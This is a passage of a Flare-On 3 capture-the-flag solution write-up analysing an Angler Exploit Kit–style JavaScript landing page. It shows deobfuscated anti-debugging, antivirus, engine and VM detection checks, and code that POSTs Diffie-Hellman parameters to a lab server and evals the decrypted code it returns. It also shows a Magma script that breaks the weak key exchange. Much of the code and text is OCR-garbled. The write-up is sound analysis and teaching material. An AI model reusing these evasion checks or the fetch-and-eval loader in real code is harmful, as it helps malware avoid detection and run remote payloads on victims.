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Flare-On 3: Challenge 10 Solution - FLAVA

Challenge Authors: FireEye Labs Advanced Vulnerability Analysis Team (FLAVA)

Intro

The first part of FLAVA challenge is a JavaScript puzzle based on the notorious Angler ExploitKit (EK)
attacks in 2015 and early 2016. All classic techniquesleveraged by Angler, along with some other
intriguing tricks utilized by certain APT threat actors, are bundledinto this challenge. While Angler EK’s
activities have quieted down since the takedown of a Russian group “Lurk” in mid 2016, its advanced
anti-analysis and anti-detectiontechniques are still nuggets of wisdom that we think are worth sharing
with the community for future reference.

Walkthrough

Compromising or malvertising on legitimate websites are the most common ways that exploitkits
redirectvictims to theirlanding pages. Exploitkits can redirect traffic multiple times before serving the
victim the landing page. Once on the landing page, the exploitkit profilesthe victim’s environment,
and may choose to serve an exploitthat affectsit. In the case of this challenge, the landing page isonly
one redirectaway from the compromised site (hxxp://10.11.106.81:
18089/flareon found in milpitas.html). Often, Angler's(and many other EKs’) landing
page request has a peculiar, and thus fishy, URL aftersome seemingly legit HTTP transactions.

Layer-0 Walkthrough

The landing page may initially seem daunting, and that’s exactly the purpose of obfuscation. But it’s
still code, regardless of the forms it may take. Afterall, it’s supposed to carry out the attack without
any user interaction. It’s strongly advised to rewrite the code with meaningful names during analysis,
just as one wouldin IDA when analyzingbinaries. This makes analysis of such dreadfully looking code
much easier.

There are many tools for analyzingand debugging obfuscated JavaScript. Browser developertools(e.g,
FireBug, IE’s Dev Tool, or Chrome’s debug console are popular, but usually you’d want to use IE’s Dev
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Tool for EKs nowadays), any JavaScript engines (e.g., d8/v8, nodejs, and spidermonkey), and headless
browsers such as PhantomJS can execute and analyze the code.

To get started on layer-0, set a breakpoint on the layer-1decryption routine. The resulting plaintext
will be incorrect, as shownin the followingFigures 1 and 2, and causes execution to stop. The TCP
streams recorded in Wireshark suggest that the exploitkit was able to decrypt and execute the
JavaScript because you can observe the transmission of a Flash object (whichis our second challenge).
Differencesin execution occur due to differencesinthe runtime environments. The analyst may be
able to identify where the execution diverged, and modify the code or the environmentto realignit
and proceed to the nextstage.
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$ phantomjs raoul.js 10_debug.html
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Taking a closerlook at layer-0, we can see that AYKbsHgKV1YHn () is the main functionwhere it
decrypts the encryptedtextand evaluate the decrypted string. The two arguments combined isthe
element|D of a span tag in which there’sa huge blob of some encrypted text. Given the context of the
function, it’s safe to say the innerHTML text of this span tag stores our layer-1 code, which will be

executed at the veryend of AYKbsHQKV1YHn (). We will have to analyze EqUfdx () and v5216 ()
in order to figure out why the decryption doesn’t work properly.

EqUfdx () sets a global flagbased on the ‘ScriptEngineBuildVersion’. If the versionis 545, the flag is
set to 0; otherwise, it will be set to other values. At this point, it’s still unclear what effect this global
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flag has on decryption, yet one can probably inferthat the target is IE on Windows since FireFox and
Chrome don’t support the property ‘ScriptEngineBuildVersion’, and the targeted version of the script
engineis 545,

Inv5216 (), we can see that the same global flag, 1L.iZAqJ, isused to initialize alocal variable,
DM7w71I, whichisthenusedina loopthat seemsto be doing decryption.Indeed, the flagisused to
ensure that code gets executed onlyin the target environment. The value of DM7w71 isnot final
though, as it can still be altered right before enteringthe loop.

The first if-statementis checkingthe presence of window.outerWidth, and whetherthe value of
this propertyis greater than 1280. This reallyis checkingwhetherthe script is being executed by any
enginesorin avirtualized environment. The else-statement doesn’t seem to make sense, as it sets
DM7w71I’s value to either 3 or 0 based on the difference between the timestamp right at the beginning
of the execution andthe current timestamp, which should always be lessthan 100 under any normal
scenarios since there’s no such function that can potentially take that many clock cycles prior to this
check. But that’s only true if the code runs in the browser withoutthe debugconsole opened; you may
have noticed and probably already removed those “debugger” state ments throughout the script, for
those “debugger” statements function just like breakpointsif the debugging console isopened, and it
is reallyannoyingto debug the code with execution constantly interrupted.

Now it’s much more obviousthat this else-statementis checkingwhetherthe debuggingwindow is
opened. If the debugging console is opened, the delta between the timestamps taken is certainly going
to be greater than 100, for the code keeps breaking into each of these “debugger” statements.
Otherwise, the deltawould be less than 100, as expected. Thisis just one way of detectingthe
presence of the debugging console, but there are many more ways of doingso.

The function ogv () isa base64 decode function, except that it returns an array of numeric values of
each decoded char instead of a conventional decoded string. With thisin mind, the variable £C57 is
the one that holds the decoded layer-1 code in the form of numeric array.

Afterskimmingthrough the code, the function c1x () isjust another base64 decode function that
does the same thing as ogv (), exceptthat the argument passed to the function is seemingly the key.
As the conclusion, variable S7z holdsthe numeric array of the decoded key. The decryption appears to
be a simple xor-string decryption,and DM7w71I, which is the index for xoring, should start as 0. Now
that we have all the puzzle pieces, the layer-1code is literallyjustone print () away. You happily
inspect the variable containing decoded layer-1code, only to realize the layer-1 code is still trash...

Looking back at the decryption code’s loop, you realize there’s a sneaky function UIgvkFSsu () being
invoked, the return value of which will set DM7w71I. A closerlookat the UTgvkFSsu () function
reveals that this functionis checking the date; it will return True if the timestamp of the executionis
before “2016/09/09”, otherwise itreturns False. This code reallyis making sure that the code won’t be
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executed any time after September 09, 2016. Once the whole functionis patched, you can see that this
is a xor-byte decryption.

For clarity, the pseudo code for the patched decryptingfunction should look like the one shown in
Figure 3. Run the patched code again, and you will see the layer-1 code inclear text. The decrypted
layer-1code isshown in Figure 4.

// Simplified Version of v5Z16()
function decrypt (cipher txt, key) {
var xor index = 0;
var result str = '';

var ctxt array = b64 decodeZ2num(cipher txt); // call ogv ()
var key array = b64 decode2num2 (key) ; // call clx()
for(var 1 = 0; 1 < ctxt array.length; i++) {

var tmp = ctxt arrayl[il;

if (key array.length <= 0) tmp = 1;
if (key array.length > 0) tmp "= key array[xor index];
result str += String.fromCharCode (tmp);

}

return result str;
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$ phantomjs raoul.js v2_debug.html
function k() {

String['prototype']['kek'] = function(a, b, c, d) {
var e = '';

a = unescape(a);

for (var £ = 0; £ < a['length']; f£++) {

var g = b ~ a['charCodeAt'] (f);

e += String['fromCharCode'] (g) ;

b= (b *c +d) & OxFF;

}

return e;

}, String['prototype'][''['kek'] ("$0B%5Ei', 108, 41, 237)] = function() {
return ''['kek'] ('3CO96%E4B%3EL %83n%Cl%82%FB%DC%01%EAA+0', 175, 129, 43);
}, String['prototype'][''['kek'] ('6%87%24', 94, 13, 297)] = function() {
return '"'['kek'] ('4%94%0D%86%7BVXJ$AD$1C%87%0ESFESCO%DASD2%20%82%01%ACWAJAS$B6%06%8D/ "', 92,
33, 31);

}i

try {

m();

var a = 1();

var b = Function (a);

b();

} catch(zzzzz) {}

}

try {
k()
} catch (z) {}

Following the code path, you can already inferthat variable ‘@’ is goingto contain the next layerof the
JavaScript code returned from the function 1 () after that blob of encoded string is base 64 decoded.
Yet again, ‘a’ is only going to be evaluated correctly if the code passes some checks, otherwise ‘a’” will
contain garbage. Further investigationrevealsthatthe alphabets used in base64 decodingfunction
dependson our environment checks, as shown infunctions 1 () and J ().

The script first checks whetherit’srunningin IE by checking its navigator.userAgent and
navigator.appVersion properties.If it passesthe browser check, the script then checks if some
specificversions of Kaspersky’s ActiveX components are installed onthe system. Note that in the real
attacks, Angler EK was checking for presence of other AV products as well, not just Kaspe rsky’s

endpointsolution. It would also profile the environment to make sure its sample would not run inthe
analyst’s environment. The simplified versionis showninFigure 5.
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// Simplified version of 7 ()
function env_check() {
var result;
if (navigator.userAgent.indexOf ('MSIE') == -1 &&

navigator.appVersion.indexOf (' Trident/"') == -1) {
window.notIE = true;
}
var kas_api = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi';
var kas apil = kas api,
kas api2 = kas api + '.1',

kas api3 = kas api + '.4 5 0.1";

try {
result = new ActiveXObject (kas apil);
} catch(w) {
result = false;
try {
result = new ActiveXObject (kas apiZ2);
} catch(w) {
result = false;
try {
result = new ActiveXObject (kas api3);
} catch(w) {
result = false;

}
}
}
if (result) {
window.hasKaspersky = true;
}

if (!window.hasKaspersky && !window.notIE) {

window['b64 alphabet'] = window['real alphabet']
} else {
window ['b64 alphabet'] = window['fake alphabet']

}

With the knowledge of the program’s behavior, function 1 () can then be modifiedtoreturn the
expected Angler’s notorious and noxious layer-2code, as shown in Figure 6.
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$ phantomjs christine.js 1lv2_debug.html
var I11Ib Math, I11Ic = String, I11II11la = JSON, I11IT111b = XMLHttpRequest;
var IllIe = ''['lol'] ('9%E44%BC%1Ap', 90, 9, 97),

'

I11If = ""['> <'] ('"%D0%94%18F%A5%C0', 162, 5, 199),
I11Ig = "'['OGC'] ('$B7%5By4%B6%B4w', 199, 33, 147),
I11Th = "'['"-Q-"] ('$B77%16%9E%04%88%E4%3E3"', 199, 17, 225),
I11I = "'['> O'"]('$DB%FCy%7D%EL', 168, 129, 247),
I11Ti = "'['o30"'] ("%C4J0%13sI%F7%3D', 173, 5, 195),
I1113 = "'['Orz'] ('$D6%E4zP%20%EC', 181, 9, 47),
I11Tk = "'['Orz'] ('"F$92%1C%D5%DF%02"', 52, 65, 191),
I11I1 = "'['" ~'] ('%3Eq%01%F4%CT7GSFBYB7%F34%A2%94"', 88, 65, 171),
I11Im = "'['* _~'] ('"%DFu%5C _c', 190, 33, 135),
I11In = "'"['lol'] ('SFASLOE®1ASFOVSOF', 150, 5, 77),
I11Io = "'['> <'] ('3F9SSF8%AE%BB%11%89q"', 141, 65, 111),
I11Ip = "'"['OGC'] ("$03%F7%B7%B70%A4%06%D49%03"', 96, 9, 63),
I11Ig = "'['O_0o'"] ('%C3%BE%10%C3+', 165, 129, 173),
I1lIr = "['lol']('%D4%lB%E7M', 167, 33, 235);
var I11IbbAa =

T[> 0'] %10%8D%81%CE%17%A9y9%5B%FO%3BX%DE%3FC%EB°85%FD9EE%8A°8O%FAy%9D9CC9A11%D4
KH%23%AF6.%84%5D%28%D8%06dg%24%26%E0%E3%8E0s%A8%1FSB1%$10%AFS1B%09%03%E3%02%EBRS5CSA
9%133E5%E30%3E$BCSE6dS293CT*35C1CSA9SFAS135D2tsB0thYs8603', 65, 5, 147);

var I11lIbbss = "' '—,—'](’*%Flm%891%82', 89, 33, 11),
I1llIbbso = 6, IllIbbsi = 2, IllIbbsn = 10;
var IllIbbsa = '"'['O 0'] ('G%02n%1FeB%93%7C%BF$8B%FAS80%F9%AF$1B3C3 ", 52, 129, 51),
I11Ibbsb = "'['-Q-"]('$9F%23%ABO', 240, 9, 227),
I11Ibbsc = "'['Orz'] ('SEE oDBloE4' 157, 129, 161),
I11Ibbsd = "'['Orz'] ('$SAFUd4% 8Do83 S3BS8ELSF2%1ASCCS2TWSEFB%3B%17%8E", 192, 33,
123),
IllIbbse = ""['* *']('%08%C0%F1_%$DF%82%C8%06%A6%98', 122, 65, 171),
IllIbbsf = "'['O o'] ('1%FDi%0B%DB%26', 66, 9, 55),
I11Ibbsg = "'['"—,-"] ('1TC%3B%EDSA3%7C%10%9"', 31, 17, 17),
IllIbbsh = "'"['> <']('G%E1%7B%A1%BE', 55, 65, 137),

I11Ibbsl = escape,

I11Ibbsj = unescape,

I11Ibbsk = "'"['030'] ('$09mFr%00%122%137%95e%9E', 123, 33, 45),
I11Ibbsp = '"'['030'] ('s%DD%A2%14', 35, 17, 63),

I11Ibbst = false;

Layer-2 Walkthrough

In spite of the large blocks of obfuscated code seemingly related to bit manipulation and algebra, a
quick glance overthe script revealsthat T11Tza () isthefunction of ourinterestsinceit’s where that
curious HTTP POST request originates. Inside I11Iza (),I11Iwa () determinesthetransmissionof
the data generatedby I11Iva (), andthe statusof I11Iga () decideswhetheror notto execute
the JavaScript code received fromthe server. After deobfuscating the code, you can see that
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I11Iwa () ischeckingthe presence of a fewJavaScript enginesand the headless PhantomJS browser,
as shown in Figure 7. The output of each check is shown in Figures 8 and 9.
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engine checks = function () {
function check d8() {
var a = false;
try {

welcome."])) ;
a = true;
} catch(m) {a=false;};
return a;
}r
function check nodejs() {
var a = false;
try {
if (typeof window ===
{
a = true;
1
} catch (z) {};
if (!a)
{
try {

process]")
{
a = true;
}
} catch(y) {};
}
return a;
}i
function check phantom() {
var a = false;
try {
if (window.outerWidt
{
a = true;
}
} catch (x) {a = true};
if (la)
{
try |

} catch (w) {};
}

return a;
}i
this.in d8 = check d8();

print(os.system('echo',

"undefined")

if (typeof process === "object" && process +

=== (0 && window.outerHeigh

a = !!'window.callPhantom;

this.in:nodejs = check nodejs();
this.in phantom = check phantom();

["I just rmed your root dir. You're

'' === "[object
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$ d8 check engine.js
I just rmed your root dir. You're welcome.

I know you're running d8. Always remember to null out os.system!

$ nodejs check engine.js
dsZEEhH AL ELMLT... nodejs?
typeof process: object

process: [object process]

N ®IEY ! You're using nodejs!

$ phantomjs the mask you wear.js me they hear.html
the Phantom of JS is here: true
inside your browser: true

The multiple checks for nodejsand PhantomlS are because some analysis systems fake certain
properties, such as window and window.outerWidth, soitis helpful toshow other means of

checking the runtime environment. Note that these checks are simplyjust a tip of the iceberg; there
are many other ways to detect the runtime environment.

Movingonto I11Iga (), whichturns outto be a functionchecking for virtualized environments. The

deobfuscated versionisshown in Figure 10. Three common kinds of checks to detect the presence of a
VM are:

1. Check performance (i.e the delay)
2. Check the presence of certain VM artifacts (in this case, this is only applicable to Windows

because of the use of ActiveXObject)
3. Check the screenresolution
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check vm = function() {
function gcd(a,b) {
if (a<0.00000001) {
return b;

if (a<b) {
return gcd(b-Math.floor (b/a) *a,a) ;
}
else if (a==b) {
return a;
}
else
{
return gcd(b, a);
}
b

function check file(file) {
var obj = new ActiveXObject ("Microsoft.XMLDOM") ;
obj.async = true;
obj.loadXML ('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ file + '"">");
if (obj.praseError.errorCode == -2147023083)
return 1;
return 0;

b

function detect vm() {
try |
var a = performance.now() / 1000;
} catch (e) { return 0;}

var b = performance.now() / 1000 - a;
for (var 1=0;1<10;i++) {
b=gcd (b, performance.now()/1000 - a);

var ¢ = Math (1/b);
if (Math.abs (c-10000000) < 100) {
return 1;

}
else if (Math.abs(c-3579545) < 100) {

return 1;

}

else if (Math.abs(c-14318180) < 100) {
return 1;

try |
if ((screen.width < 1280) || (screen.height < 720)) return 1;
} catch(x) {return 1;}

return 0O;

"res://"'
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At this point, itis still unclearwhat the role of the T11Ivya object is. We can see from the code that it
initializesits memberobjects with oversimplified random number generators. Since we deobfuscated
the code and know I11Iza () function will eventually send the HTTP request, and we also have a
pcap that contains the outgoingtraffic originatedfrom I11Iza () function, we can use this
information to recover the values of data beingtransmitted over the wire. Looking at the code, we
know the dictionary ‘d’ isfirst converted to a string, then encrypted using RC4 with the key
“flareon is so cute”, andfinally encoded usingbase64 encoding scheme. The result of whichis
then sentto the server, as shown inFigure 11.

POST /1_knew_you_were_trouble HTTP/1.1
Accept: +*/*

Content-type: application/json; charset=utf-8
Referer: http://10.14.56.20: 18089/
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 10.14.56.20:18089

Content-Length: 160

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache

ErZVpc7xaw3bfoh8ythQz62wRdAQ1IMpg3n TEKPY syES0txAU4TCbwYgBzfbx1TnLb3BpLkcSSeu1rskPQoEeyrEdZ
t59]KxSR11Y1roQ/PDPhri78SmdvTsUx/ascx7 L tOEEVPS5YsvQTIW20vS1+43dyk7x8cBQLQ==HTTP/1,1 200

If we reverse the process, we can uncover the values of datain dictionaryd, as shown in Figure 12.

$ phantomjs music_cares_you.js dec_req.html

{"g":"91a812d65£3feal32099£2825312edbb", "A":"16£2c65920ebeaed3aabb5c9af923953", "p":"3a3d4c3d7
e2abd4c5c4d5b7elcbal3c3e"}

Given the naming convention of the variablesand the use of Biginteger-like module to address
precisionissue and perform modular arithmetics, one can make a fairassumptionthat T11Ivya () is
responsible forimplementing Diffie-Hellman algorithm. Anglerused to use a customized jsbn library
originally developed by Tom Wu [1] [2]. As for this challenge, a modified version of Tom Wu’s jsbn is
used to model Angler’s Diffie-Hellman implementation [3]. Knowing the presence of a secret sharing
protocol, we can inferthat the script usesa shared secretto decrypt the code received and execute it.
You can cross reference the obfuscated code/module with the open-source jsbn library module to
make your analysis easier. Figure 13 shows the deobfuscated versionof I11Iza () function.
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connect to server = function() {
var dh obj = new dh client();
var ena_chk = new eggine_checks(), in vm = check vm();
try {
var d = {

g: dh obj.g.toString(16),

A: dh obj.A.toString ((16),

p: dh obj.p.toString(16),
}i
d = baseb64 encode(rc4 ("flareon is so cute", JSON.stringify(d))):;
var hreq = new XMLHttpRequest;_ T
hreqg.open ("POST", "http://10.14.56.20:18089/1i knew you were trouble", true);
hreq.setRequestHeader ("Content-type", "application/json; charset=utf-8")
hreqg.setRequestHeader ("Content-length", d.length);

hreg.onreadystatechange = function() {
if (hreg.readyState === "send".length && hreq.status === 200)
{
var dict = JSON.parse (rc4 ("how can you not like flareon",

base64 decode (unescape (hreq.responseText))));
var bigint = new BigInt (dict.B, 16);
var shared secret = bigint.pow and mod(dh obj.a, dh obj.p);
var decrypted code = rc4 (shared secret.toString(16), dict.fffff);
if (in vm < 1) { -
eval (decrypted code) ;
}

bi
if (!eng chk.in d8 && !eng chk.in nodejs && !eng chk.in phantom) {
hreg.send (d) ;
}
} catch (f) {
bi

The pcap also contains the response from the server, from which we can also uncover the content
simply by following the execution flow, as shown in Figures 14 and 15.



)
<O FireEye F LARE

+3dyKTxBCROLO»=HTTE/L1. 1 200 0K
Content.Type: text/plain

Date: Thu, 08 Sep 2016 23:42:96 GMT
Connection: keep-alive
Transfer-Encading: chunked

]

OSTOWDE Lo BN THF IMOMADASvh § AZ0STCpMCLZMAL GX § 92H A2 2801 L wh FeBMYRGG gu 2nstiN T XWakim) yBOSNZ Te gXNa0qg saws s 7T skKThoGayRUEFnd2Y ms35122P2LE Xy SANGXLOAGSHMS rmIH4dOX
dXxXvdEWNVWCHUGRa002k 1X2591Hh 11 182y x 1307 1CADAOMbAS TtcqNARWT f FEIECLSgPDpOyR+cyoY c ILhr SIDAfWZ2zX ] wOMO2 9] INrmbrc 2yt sBrMk+DSUG ] MANEY +dGAD P L

+LEOh 2 SNOFNTHCF+G ST I rwIWl e XsukKilUF 1pn 0 pnFahDxSypf 0668G ) EedZhp /CBTGANLEK TS0 ) m2KWAMT 1 1KB A witw + P A UUNFupaK IMLIQc 2aSa LR ) GakwX 10095/

hiFIFnq0/ 7Y 14pY y4 T PEZAWpV IS ZHLWETE 27 +q0f KX0Z L 4u0WBaTO0LOZHUY Ja+U/ srl LrIOL7YENuacNkt g M fH1 sOyaed Fdnuub+hqdtYny f x2eWiVDEIHpOFXkdc TyKYQ/
TLLFS63I20MCBXFTaGCLTN /uB0AGNSCNUZPOWhIVGAXTN v T LrzVGaD4ec snab | raSkd7kL1GVRTH

+uLQzzMATVOYR TY 1§ 1r LGQIBINDAnS 35ThGy T soRyka/ 53aYMIII 7Th 291 30guy 1PY Lwt GhuImkAISgdAtivy/
THaetSTINLDEBYKCWINGBUDUNLUXHBLOWYKLYVYY 4x ] STIBA0SOTCno FREWT S9eS620H) LTUS 190567 n 300RTAKG 1 X4 LMy /

cebobC10ZXIWEKqey TI6LIrBr EcEKGYO 1bT fOXS7yNIKdz k0T JCdBu 1az srESaAbBY ThE IY y 2w nKr ZEHOWD TpNVSCELO TMCRC + IFWS T507 4 TUNGHNWOA 36802

+Z Ivwdol Y J6TEZTZT CAHZ TroaMoVaTWA 3urPQFTTEMIOL) 1c ISXNOC Y FygkQ/ 0B +STSSYSOPCHY vJB255ALAVGH TEQ285yY Ow T1wGMDy +G0eGr / SHFT a@B46UT vat Ot noag63Ey +/
DS11YVOXol sVEqqn ZedvisUghxr+XI ryadsXsLVp2ZPDALh ZMdzPx1 L sxCelwhu J0+D ) pn0] /Ynr sUVAS0LCCE t27mE APCe2 12X 1vgeV DS SIS/ S0u LpkHAGRGAZ /NPC

*VHL 1P ALPUr XaZ06HpOO T eMLKHD yph e OOKYMUZROLr OrBsY G 70HAGKY EvME IYEAY /2dqL KK I XGRyUX3 /ecuBFY/

o/ 10EPY guo IHXL 12D | gcUEQAFSSIRENypbIC teNiKx s KALRTNObKIWU LeNKr 3+qbXy FYr OLARML# V2 IELOVILY sudVNaVNINADD 1 7ubbie 2wEPD1n f 2kpuY 19vZRwtyPc9PogESe el
+SEYMEESIWY 1fyISR13) 7 lgwuAnPInZh Iar c414AdCn TESDuprEnnsvaddY FT £ 5oK/BATy9atR1eM) 71695 sNgVY INBOCT yLLT Snqy svZBWT0c I 10KUNVZ kpS2Hsm) 477 10K/ 753
+LCGLITNLAWLE TOGNBAd+uZ 1PSF Joo2 J6apY Le / 2saAbuly f 2qyOgo+QuALDEF ) 2c0TgRpOZY vSMdR+2eHA2X CnONFUTY sll‘n‘o?!

+VXSASKFLEInSLZULChZVOORKS 20XTE Z6h6h y dVaABC CcqI NS Q0P Fa 27 SABVOZYNHTSGSDABO Z kN +HAFK 14Yhboov 1 /RCaNZ9t0/ FG120n tx
YSTGAgUAPxAUGOLA § 1) 2 ktaNpQocuPOBIELSFHM Y062 1SeybXimLy FLOLE 3y TwLXtnS8y t /NEBAOGePUEnpD /o aP r 2BZ62FRAD ZLpPUTT

+THONTWOBYN] JYAPISEYAQRSYE At YDOWMI 545N SACRDIsFozVezpl S1VOXZ/ IGLRIADDRYSD / ky tGNED+1x0 1t FyMI THIP TqUhdOety | UMioeT 2A0wy | 2JTEAL 1PROY

ApkvR ) S22RNGWRS TVEXx 2U0P K+ 7 Lec GRw 300Y 0K £ 520X FSUCOCVS 2urbEOBAD J 0 vox6 1aay ] TREEC «Or Bw sUdy /W LY 1ePOxUSDu L6

+q)ZgK ) Tzol TouCuliopnavplOr093GRCYqul ] 9oc 15q01 ZaxE 1kVO th 42Mg765 sD54PKIKPhWE 4 2NWg8 k sGobiny/ d ) Te IbqY 0gGAHBWE seun® t TOZZDF7IVGN /

Th20r GMXmT kP ISCBSrMwX] | x kIUMAAKT XPOWBY yB1LThr A 256HP60==

o

$ phantomjs music_cares_you.js dec _resp.html
{"B":"3101c01f6b522602ae415d5df764587b", "ffff£f":"L\u0011.0Gf f/EVEQ\u00000G.[.16/..—
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\u000f\u0005;0!\u0000111s8A7\u0003\u00066POR\U0013>E [PO>LP™4\u001déy20-
\u001f%*x A\u0013Ty..03\u0005¢\u0015\u0014\u0017¥k 1 {i?2\\\u001cOr\u001fEA&aI\u0005 &*)<tz@\u001
cyti:|Te>¥a0¢c-kI\u001cUEs |S\u0015nitHglJebSX m[oEL\u0010+AS/35\u0003A\u0017—
OK£64°6 »lell¢  Ef E¢j xilI“éBYoenaSpAT22\u0018\u0016g|a\u00173M\f<oTX\u00lecky3Nt\u000£f»\t 5BR\
\&r¥\u001a<I1g\u000401< g#\r+\rh\u000b\"\u0004iiKp9&zb ™ —
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E\r21z\u0002\u0011\u00le ‘DN]Iy>j5—
»Eie {r0\u0015\u0010g\u0016>T}Em, p~M4SEN¢XRSA | PXMeti® \u00lal=4 -6tEbA+ 11 zA£0¥a1 (E«”f1¢\\\u00150,
\u000bK Op\u000e\u0014~&u!* «E\u001le ‘y\r\u0012\u0001A5\ f«s4A<AWOCA“\u0014 b\u00la HIN\u000e,
[¥%0 |®Y\u0001%\u0014 (\u0007A0E4FPpCIPdZ\u001bhUASAT \u00138161t\u00le> aa%jke~pY\u00100I701" (3™
310\ fo»ER&AQsyUx\u0016'2B\u0005Ufg—
16\u0004t}+\u0011a™ [#7a8:A0\t6+0¢*I\u00le®;az*1y\u0014!B3PIN~ -—:mB\u0014¢cO- rR\t¥ }—
0-MS6\u0013 | ¥THMCa>DYSfA« Y£\u0001\u000fo%pay \u0001+A\u0018<U\u000fj, i=\u0005YQa\u0012UzbNul+~
“arcl, 6 AZ220\u00128EAx5A0a+1\u0002+\u0011”\t ‘0 +%E\"PA5e0R41 ! 7\u0018A{T y>*\u0016l],™50QpuC
ca#°i 422I.1]1\\ -/T6x?cNe..8K\u0014r{*M%A<0Z2v\u001bREI£10©6 ' \u0007C&J” \u000£$aN\u001ciAUz™) UASE |
$1G-\u001dmi\u0010\u0003k\f+aye, "2\u0016.4PQBRG [4F128&" ] vEI*U\u0015We¥0U i\ tA\u0013«™*\nd+xZA
k auf2@a&6\u00la|p\u00ll8ke Crx+0<~w>< 19I%t* A\u000f-+gR+\u001la\u001703¢c\t*4UECSEiWG1 -
\u0018G356xe 2317 {086 2) \u001cHRNW\u0004?£f\u0005\u0006¥«;aHgy\u000£fO\u0014NamwiraY\u0010£+ y%
Agk\u0018%# 01 {/0+sAA "}

We know by looking at the script that dict.fffff containsthe encrypted JavaScript code and the only way

to uncover the code in clear textis figuring out the shared secret of the D-H protocol, which
theoreticallyis computationally infeasibleif certain conditions are met.
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Since Angler’s D-H implementation follows the typical D-H naming convention (at least, in the older
versions), the following explanation will adhere to the standard. Given two entities Alice and Bob, let g
and p be two numbers that Alice and Bob agree upon. Let a be Alice’ssecret key and b be Bob’s secret
key. Both Alice and Bob compute theirpublic key using the following formulas.

A = g%(mod p), where Ais the public key for Alice

B = gP(modp), where Bis the public key for Bob

A, B, g, and p are not kept secret, so Alice and Bob can exchange these info, from which they can then
compute a shared key, K, that’s only known to Alice and Bob.

For Alice, K iscomputed as

K = B%(modp) = (g?)%(mod p) = gP*(mod p)

For Bob, Kis computed as

K = AP(modp) = (g*)?(modp) = g (mod p)

Thus, given A, B, p, and g, without knowing each other’s secret key, Alice and Bob can still derive the
same shared secret, K, and can theninitiate secret communication. In order for eavesdroppers to
obtain the shared secret K, we have to compute Alice’ssecretkey afrom A = g*(mod p) and Bob’s
secret keyb from B = gP(mod p), knowingonly the value of A, B, g, and p.

This is the discrete logarithm problem (abbreviated as DLP). You can find comprehensive (and

complicated) explanation pertainingto DLP on the web already, so | will spare the details. DLP
essentially means that:

Givengandn €{1,2,3,...,p — 1}, compute x such that n = g*(mod p) =log, n = x (mod p).

Solving DLP can be really hard, if not computationallyinfeasible, when pis a large and safe-prime
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number. Fortunately, p is not checked for primality in this case (also the case for older Angler EK
samples), and isonly 128-bit long (16 bytes), making DLP solvable.

Based on the decryptedrequestand response, we know the value of A, B, g, and p.
A: 0x16f2c65920ebeae43aabb5c9af923953 // it’sain the following example
B: 0x3101c01f6b522602ae415d5df 764587b

g: 0x91a812d65f3feal32099f2825312edbb

p: 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e // not a prime number

Since p is actually a number that is smooth enough and thus can be factorized into small primes, we
can thensolve the DLP ina divide-and-conquerfashion such as using the Pohlig-Hellman algorithm or
other algorithms, which takes advantage of factorization and reduce a bigger DLP to a combination of
smaller DLPs.

According to [4][5], eventhough the original DLP involves acomposite modulus, we can still solve the
global DLP by first solving the local DLPs modulo each prime factor of p and then combine these results
back to find the solution using the Chinese RemainderTheorem. This is only possible when we have the
ability to efficiently factorize non-prime p and solve DLP modulo a prime. Thanks to calculators such as
Sage and Magma, thisis certainly possible and feasible.

Leta = g¥ (mod p) be the DLP that we want to solve, and p is not a safe-prime and smooth enough.
The prime factorization of p is:

e e e e - . .o
pP=p, *p, % ..x p,",where p; ' isaprime foralliinl,..,n

The original DLP a = g* (inod p) can then be divided into the followingsmaller DLPs, according to
[4][5]:
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a = g*1 (mod plel)

a=g*2 (mod pzez)

a = g* (mod pﬁ")

Or rather, a = g*i (mod piei) foralliin1... n, wherex; isthe solutionto DLP;.

We then combine these x; back to the final x that satisfy the equation a = g* (mmod p) using Chinese
RemainderTheorem [4][5]. The Chinese Remainder Theorem, as far as we are concerned, states that
for a system of congruencies:

x = a,(modn,)

x = ap(modny)

where a; are arbitrary integers and n; are pairwise coprimes, then there’sa unique solution x
modulon where n=ny *n, * ...* ng. This is how we can use the Chinese Remainder Theoremto
combine the smallerdiscrete logarithms to find the final solution.

When applyingthe Chinese Remainder Theorem on these local solutions, we must also considerthe
fact that we are projectingthe DLP a = g* into the subgroups in the ith coordinates whenwe are
dividing-and-conquering the original DLP, and so x is congruent to x; modulo the order of g in the
group of pl.ei (i.e., Z;ei or (Z/pie"Z) *) [4][5]. The order of gin the group Z;ei, according to [4][5], is

multiplicative order.

With all these takeninto account, we really are applyingthe Chinese Remainder Theoremto solve the
following congruences and compute the final x:
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x = x,(mod ord,)

x = x,(mod ord,)

x = xp(mod ord,)

where ord; isthe order of gin the group (i.e., finite field) of piei,the ith prime factor of p.

Now that we have the background inthe algebra working behind the scene, let’s apply the voodoo
magic to actually solve the problem. The following Magma script shows the implementation of the
above algorithm [6], in which the for-loop computes the x; and ord;. The Chinese RemainderTheorem
CRT() is theninvokedto solve for x. Note that each prime factor of p is converted to Galois field or
finite field. The use of ‘) operator isto coerce the g (an IntegerRing structure) to r (a Power structure
of FIdFin, aka finite field), projecting ginto group of piei.

p := 0x3a3d4c3d7e2a5d4c5c4d5Sb7elcba3c3e;
g := 0x91a812d65f3feal32099£f2825312edbb;
a := 0x16f2c65920ebeaed3aabb5c9af923953;
factors := Factorization(p):;
orders := [];
logs := [];
for £ in factors do
try
r : GF(f[11);
o := Order(r!qg);
1 := Log(r!g, r'a);
orders := Append (orders, o);
logs := Append(logs, 1);
catch e;
end try;
end for;

x := CRT (logs, orders);
printf "[{\"g\":\"%h\",\"A\":\"%h\",\"p\":\"%h\",\"X\":\"%h\"}]\n", g, a’ p, X;

From the for-loop we will eventually have alist of discrete logarithms and multiplicative ordersof gin
differentgroup. This gives:
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p = 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e = 0x2 * Oxe3 * 0x2bf3 * Ox2b4a77 * Oxe0738f *
0x50a2ee123c3d54f

logs = [0x0, 0x20, Ox6ac, Oxfa82d, 0x8691cf, 0x3443a62197ed37b]

orders = [0x1, 0x71, Ox15f9, Ox2b4a76, O0xe0738e, Ox50a2ee123c3d54e]

The Chinese Remainder Theorem CRT(X, N) takestwo integersequences (X is the logs, and N is the
